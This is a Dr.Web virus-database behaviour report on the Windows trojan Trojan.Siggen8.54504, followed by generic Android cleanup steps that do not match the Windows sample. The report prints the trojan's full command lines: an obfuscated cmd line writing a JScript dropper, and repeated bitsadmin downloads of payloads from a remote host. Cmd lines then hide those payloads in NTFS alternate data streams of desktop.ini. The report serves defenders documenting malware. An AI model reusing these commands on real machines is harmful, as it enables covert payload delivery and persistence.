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Trojan.Siggen8.54504

Added to the Dr.Web virus database: 2019-11-09

Virus description added:

Technical Information

Malicious functions
Creates and executes the following
  • '%WINDIR%\explorer.exe' /c, %TEMP%\Fv2g8UK.js
Modifies file system
Creates the following files
  • %TEMP%\fv2g8uk.js
  • C:\users\public\libraries\radm\desktop.ini:koddsuffygx.gif
  • C:\users\public\libraries\radm\bit8346.tmp
  • C:\users\public\libraries\radm\desktop.ini:koddsuffyg.gif
  • C:\users\public\libraries\radm\bit6b97.tmp
  • C:\users\public\libraries\radm\desktop.ini:koddsuffydx.gif
  • C:\users\public\libraries\radm\bit5203.tmp
  • C:\users\public\libraries\radm\bit9da5.tmp
  • C:\users\public\libraries\radm\desktop.ini:koddsuffydwwn.gif
  • C:\users\public\libraries\radm\desktop.ini:koddsuffyc.jpg
  • C:\users\public\libraries\radm\bit16ec.tmp
  • C:\users\public\libraries\radm\desktop.ini:koddsuffyb.jpg
  • C:\users\public\libraries\radm\bit3ef.tmp
  • C:\users\public\libraries\radm\desktop.ini:koddsuffya.jpg
  • C:\users\public\libraries\radm\bit8c2e.tmp
  • C:\users\public\libraries\radm\bit37a4.tmp
  • C:\users\public\libraries\radm\desktop.ini:koddsuffyi.gif
Sets the 'hidden' attribute to the following files
  • C:\users\public\libraries\radm\bit8c2e.tmp
  • C:\users\public\libraries\radm\bit3ef.tmp
  • C:\users\public\libraries\radm\bit16ec.tmp
  • C:\users\public\libraries\radm\bit37a4.tmp
  • C:\users\public\libraries\radm\bit5203.tmp
  • C:\users\public\libraries\radm\bit6b97.tmp
  • C:\users\public\libraries\radm\bit8346.tmp
  • C:\users\public\libraries\radm\bit9da5.tmp
Deletes the following files
  • C:\users\public\libraries\radm\koddsuffya.jpg
  • C:\users\public\libraries\radm\koddsuffyb.jpg
  • C:\users\public\libraries\radm\koddsuffyc.jpg
  • C:\users\public\libraries\radm\koddsuffydwwn.gif
  • C:\users\public\libraries\radm\koddsuffydx.gif
  • C:\users\public\libraries\radm\koddsuffyg.gif
  • C:\users\public\libraries\radm\koddsuffygx.gif
  • C:\users\public\libraries\radm\koddsuffyi.gif
Moves the following files
  • from C:\users\public\libraries\radm\bit8c2e.tmp to C:\users\public\libraries\radm\koddsuffya.jpg
  • from C:\users\public\libraries\radm\bit3ef.tmp to C:\users\public\libraries\radm\koddsuffyb.jpg
  • from C:\users\public\libraries\radm\bit16ec.tmp to C:\users\public\libraries\radm\koddsuffyc.jpg
  • from C:\users\public\libraries\radm\bit37a4.tmp to C:\users\public\libraries\radm\koddsuffydwwn.gif
  • from C:\users\public\libraries\radm\bit5203.tmp to C:\users\public\libraries\radm\koddsuffydx.gif
  • from C:\users\public\libraries\radm\bit6b97.tmp to C:\users\public\libraries\radm\koddsuffyg.gif
  • from C:\users\public\libraries\radm\bit8346.tmp to C:\users\public\libraries\radm\koddsuffygx.gif
  • from C:\users\public\libraries\radm\bit9da5.tmp to C:\users\public\libraries\radm\koddsuffyi.gif
Network activity
Connects to
  • 'public-trust.com':80
TCP
  • 'nw#####3a0t.2w9nwsir.cf':443
  • 'wa#####oawt.d72ftdwh.tk':443
UDP
  • DNS ASK nw#####3a0t.2w9nwsir.cf
  • DNS ASK wa#####oawt.d72ftdwh.tk
  • DNS ASK public-trust.com
Miscellaneous
Creates and executes the following
  • '<SYSTEM32>\wscript.exe' "%TEMP%\Fv2g8UK.js"
  • '<SYSTEM32>\bitsadmin.exe' /transfer 74863 /priority foreground https://wa5kyi2oawt.d72ftdwh.tk/06/koddsuffyxb.gif.zip C:\Users\Public\Libraries\radm\koddsuffyxb.~' (with hidden window)
  • '<SYSTEM32>\cmd.exe' /c type "C:\Users\Public\Libraries\radm\koddsuffyxa.~" > "C:\Users\Public\Libraries\radm\desktop.ini:koddsuffyxa.~"&&erase "C:\Users\Public\Libraries\radm\koddsuffyxa.~"' (with hidden window)
  • '<SYSTEM32>\bitsadmin.exe' /transfer 33928 /priority foreground https://wa5kyi2oawt.d72ftdwh.tk/06/koddsuffyxa.gif.zip C:\Users\Public\Libraries\radm\koddsuffyxa.~' (with hidden window)
  • '<SYSTEM32>\cmd.exe' /c type "C:\Users\Public\Libraries\radm\koddsuffyi.gif" > "C:\Users\Public\Libraries\radm\desktop.ini:koddsuffyi.gif"&&erase "C:\Users\Public\Libraries\radm\koddsuffyi.gif"' (with hidden window)
  • '<SYSTEM32>\bitsadmin.exe' /transfer 37580 /priority foreground https://wa5kyi2oawt.d72ftdwh.tk/06/koddsuffyi.gif.zip C:\Users\Public\Libraries\radm\koddsuffyi.gif' (with hidden window)
  • '<SYSTEM32>\cmd.exe' /c type "C:\Users\Public\Libraries\radm\koddsuffygx.gif" > "C:\Users\Public\Libraries\radm\desktop.ini:koddsuffygx.gif"&&erase "C:\Users\Public\Libraries\radm\koddsuffygx.gif"' (with hidden window)
  • '<SYSTEM32>\bitsadmin.exe' /transfer 98265 /priority foreground https://wa5kyi2oawt.d72ftdwh.tk/06/koddsuffygx.gif.zip C:\Users\Public\Libraries\radm\koddsuffygx.gif' (with hidden window)
  • '<SYSTEM32>\cmd.exe' /c type "C:\Users\Public\Libraries\radm\koddsuffyg.gif" > "C:\Users\Public\Libraries\radm\desktop.ini:koddsuffyg.gif"&&erase "C:\Users\Public\Libraries\radm\koddsuffyg.gif"' (with hidden window)
  • '<SYSTEM32>\bitsadmin.exe' /transfer 60435 /priority foreground https://wa5kyi2oawt.d72ftdwh.tk/06/koddsuffyg.gif.zip C:\Users\Public\Libraries\radm\koddsuffyg.gif' (with hidden window)
  • '<SYSTEM32>\cmd.exe' /c type "C:\Users\Public\Libraries\radm\koddsuffyxb.~" > "C:\Users\Public\Libraries\radm\desktop.ini:koddsuffyxb.~"&&erase "C:\Users\Public\Libraries\radm\koddsuffyxb.~"' (with hidden window)
  • '<SYSTEM32>\cmd.exe' /c type "C:\Users\Public\Libraries\radm\koddsuffydx.gif" > "C:\Users\Public\Libraries\radm\desktop.ini:koddsuffydx.gif"&&erase "C:\Users\Public\Libraries\radm\koddsuffydx.gif"' (with hidden window)
  • '<SYSTEM32>\cmd.exe' /c type "C:\Users\Public\Libraries\radm\koddsuffydwwn.gif" > "C:\Users\Public\Libraries\radm\desktop.ini:koddsuffydwwn.gif"&&erase "C:\Users\Public\Libraries\radm\koddsuffydwwn.gif"' (with hidden window)
  • '<SYSTEM32>\bitsadmin.exe' /transfer 89128 /priority foreground https://wa5kyi2oawt.d72ftdwh.tk/06/koddsuffydwwn.gif.zip C:\Users\Public\Libraries\radm\koddsuffydwwn.gif' (with hidden window)
  • '<SYSTEM32>\cmd.exe' /c type "C:\Users\Public\Libraries\radm\koddsuffyc.jpg" > "C:\Users\Public\Libraries\radm\desktop.ini:koddsuffyc.jpg"&&erase "C:\Users\Public\Libraries\radm\koddsuffyc.jpg"' (with hidden window)
  • '<SYSTEM32>\bitsadmin.exe' /transfer 60727 /priority foreground https://wa5kyi2oawt.d72ftdwh.tk/06/koddsuffyc.jpg.zip C:\Users\Public\Libraries\radm\koddsuffyc.jpg' (with hidden window)
  • '<SYSTEM32>\cmd.exe' /c type "C:\Users\Public\Libraries\radm\koddsuffyb.jpg" > "C:\Users\Public\Libraries\radm\desktop.ini:koddsuffyb.jpg"&&erase "C:\Users\Public\Libraries\radm\koddsuffyb.jpg"' (with hidden window)
  • '<SYSTEM32>\bitsadmin.exe' /transfer 13839 /priority foreground https://wa5kyi2oawt.d72ftdwh.tk/06/koddsuffyb.jpg.zip C:\Users\Public\Libraries\radm\koddsuffyb.jpg' (with hidden window)
  • '<SYSTEM32>\cmd.exe' /c type "C:\Users\Public\Libraries\radm\koddsuffya.jpg" > "C:\Users\Public\Libraries\radm\desktop.ini:koddsuffya.jpg"&&erase "C:\Users\Public\Libraries\radm\koddsuffya.jpg"' (with hidden window)
  • '<SYSTEM32>\bitsadmin.exe' /transfer 7437 /priority foreground https://wa5kyi2oawt.d72ftdwh.tk/06/koddsuffya.jpg.zip C:\Users\Public\Libraries\radm\koddsuffya.jpg' (with hidden window)
  • '<SYSTEM32>\wscript.exe' "%TEMP%\Fv2g8UK.js"' (with hidden window)
  • '<SYSTEM32>\bitsadmin.exe' /transfer 67545 /priority foreground https://wa5kyi2oawt.d72ftdwh.tk/06/koddsuffydx.gif.zip C:\Users\Public\Libraries\radm\koddsuffydx.gif' (with hidden window)
  • '<SYSTEM32>\bitsadmin.exe' /transfer 29088 /priority foreground https://wa5kyi2oawt.d72ftdwh.tk/06/koddsuffyxc.gif.zip C:\Users\Public\Libraries\radm\koddsuffyxc.~' (with hidden window)
Executes the following
  • '<SYSTEM32>\cmd.exe' /S /D /c" sET/p mj5idIc="%WHB:XMXJWQ=%%rjr4UJx:TGPCR=/%" 0<nul 1>%TEMP%\Fv2g8UK.js 2>&1"
  • '<SYSTEM32>\bitsadmin.exe' /transfer 74863 /priority foreground https://wa5kyi2oawt.d72ftdwh.tk/06/koddsuffyxb.gif.zip C:\Users\Public\Libraries\radm\koddsuffyxb.~
  • '<SYSTEM32>\cmd.exe' /c type "C:\Users\Public\Libraries\radm\koddsuffyxa.~" > "C:\Users\Public\Libraries\radm\desktop.ini:koddsuffyxa.~"&&erase "C:\Users\Public\Libraries\radm\koddsuffyxa.~"
  • '<SYSTEM32>\bitsadmin.exe' /transfer 33928 /priority foreground https://wa5kyi2oawt.d72ftdwh.tk/06/koddsuffyxa.gif.zip C:\Users\Public\Libraries\radm\koddsuffyxa.~
  • '<SYSTEM32>\cmd.exe' /c type "C:\Users\Public\Libraries\radm\koddsuffyi.gif" > "C:\Users\Public\Libraries\radm\desktop.ini:koddsuffyi.gif"&&erase "C:\Users\Public\Libraries\radm\koddsuffyi.gif"
  • '<SYSTEM32>\bitsadmin.exe' /transfer 37580 /priority foreground https://wa5kyi2oawt.d72ftdwh.tk/06/koddsuffyi.gif.zip C:\Users\Public\Libraries\radm\koddsuffyi.gif
  • '<SYSTEM32>\cmd.exe' /c type "C:\Users\Public\Libraries\radm\koddsuffygx.gif" > "C:\Users\Public\Libraries\radm\desktop.ini:koddsuffygx.gif"&&erase "C:\Users\Public\Libraries\radm\koddsuffygx.gif"
  • '<SYSTEM32>\bitsadmin.exe' /transfer 98265 /priority foreground https://wa5kyi2oawt.d72ftdwh.tk/06/koddsuffygx.gif.zip C:\Users\Public\Libraries\radm\koddsuffygx.gif
  • '<SYSTEM32>\cmd.exe' /c type "C:\Users\Public\Libraries\radm\koddsuffyg.gif" > "C:\Users\Public\Libraries\radm\desktop.ini:koddsuffyg.gif"&&erase "C:\Users\Public\Libraries\radm\koddsuffyg.gif"
  • '<SYSTEM32>\bitsadmin.exe' /transfer 60435 /priority foreground https://wa5kyi2oawt.d72ftdwh.tk/06/koddsuffyg.gif.zip C:\Users\Public\Libraries\radm\koddsuffyg.gif
  • '<SYSTEM32>\cmd.exe' /c type "C:\Users\Public\Libraries\radm\koddsuffydx.gif" > "C:\Users\Public\Libraries\radm\desktop.ini:koddsuffydx.gif"&&erase "C:\Users\Public\Libraries\radm\koddsuffydx.gif"
  • '<SYSTEM32>\bitsadmin.exe' /transfer 67545 /priority foreground https://wa5kyi2oawt.d72ftdwh.tk/06/koddsuffydx.gif.zip C:\Users\Public\Libraries\radm\koddsuffydx.gif
  • '<SYSTEM32>\cmd.exe' /c type "C:\Users\Public\Libraries\radm\koddsuffydwwn.gif" > "C:\Users\Public\Libraries\radm\desktop.ini:koddsuffydwwn.gif"&&erase "C:\Users\Public\Libraries\radm\koddsuffydwwn.gif"
  • '<SYSTEM32>\bitsadmin.exe' /transfer 89128 /priority foreground https://wa5kyi2oawt.d72ftdwh.tk/06/koddsuffydwwn.gif.zip C:\Users\Public\Libraries\radm\koddsuffydwwn.gif
  • '<SYSTEM32>\cmd.exe' /c type "C:\Users\Public\Libraries\radm\koddsuffyc.jpg" > "C:\Users\Public\Libraries\radm\desktop.ini:koddsuffyc.jpg"&&erase "C:\Users\Public\Libraries\radm\koddsuffyc.jpg"
  • '<SYSTEM32>\bitsadmin.exe' /transfer 60727 /priority foreground https://wa5kyi2oawt.d72ftdwh.tk/06/koddsuffyc.jpg.zip C:\Users\Public\Libraries\radm\koddsuffyc.jpg
  • '<SYSTEM32>\cmd.exe' /c type "C:\Users\Public\Libraries\radm\koddsuffyb.jpg" > "C:\Users\Public\Libraries\radm\desktop.ini:koddsuffyb.jpg"&&erase "C:\Users\Public\Libraries\radm\koddsuffyb.jpg"
  • '<SYSTEM32>\bitsadmin.exe' /transfer 13839 /priority foreground https://wa5kyi2oawt.d72ftdwh.tk/06/koddsuffyb.jpg.zip C:\Users\Public\Libraries\radm\koddsuffyb.jpg
  • '<SYSTEM32>\cmd.exe' /c type "C:\Users\Public\Libraries\radm\koddsuffya.jpg" > "C:\Users\Public\Libraries\radm\desktop.ini:koddsuffya.jpg"&&erase "C:\Users\Public\Libraries\radm\koddsuffya.jpg"
  • '<SYSTEM32>\bitsadmin.exe' /transfer 7437 /priority foreground https://wa5kyi2oawt.d72ftdwh.tk/06/koddsuffya.jpg.zip C:\Users\Public\Libraries\radm\koddsuffya.jpg
  • '<SYSTEM32>\cmd.exe' /S /D /c" exiT"
  • '<SYSTEM32>\cmd.exe' /S /D /c" CAll %YQK:CCHEA=% %TEMP%\Fv2g8UK.js 2>&1"
  • '<SYSTEM32>\cmd.exe' /c type "C:\Users\Public\Libraries\radm\koddsuffyxb.~" > "C:\Users\Public\Libraries\radm\desktop.ini:koddsuffyxb.~"&&erase "C:\Users\Public\Libraries\radm\koddsuffyxb.~"
  • '<SYSTEM32>\bitsadmin.exe' /transfer 29088 /priority foreground https://wa5kyi2oawt.d72ftdwh.tk/06/koddsuffyxc.gif.zip C:\Users\Public\Libraries\radm\koddsuffyxc.~

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  1. If the mobile device is operating normally, download and install Dr.Web for Android. Run a full system scan and follow recommendations to neutralize the detected threats.
  2. If the mobile device has been locked by Android.Locker ransomware (the message on the screen tells you that you have broken some law or demands a set ransom amount; or you will see some other announcement that prevents you from using the handheld normally), do the following:
    • Load your smartphone or tablet in the safe mode (depending on the operating system version and specifications of the particular mobile device involved, this procedure can be performed in various ways; seek clarification from the user guide that was shipped with the device, or contact its manufacturer);
    • Once you have activated safe mode, install the Dr.Web for Android onto the infected handheld and run a full scan of the system; follow the steps recommended for neutralizing the threats that have been detected;
    • Switch off your device and turn it on as normal.

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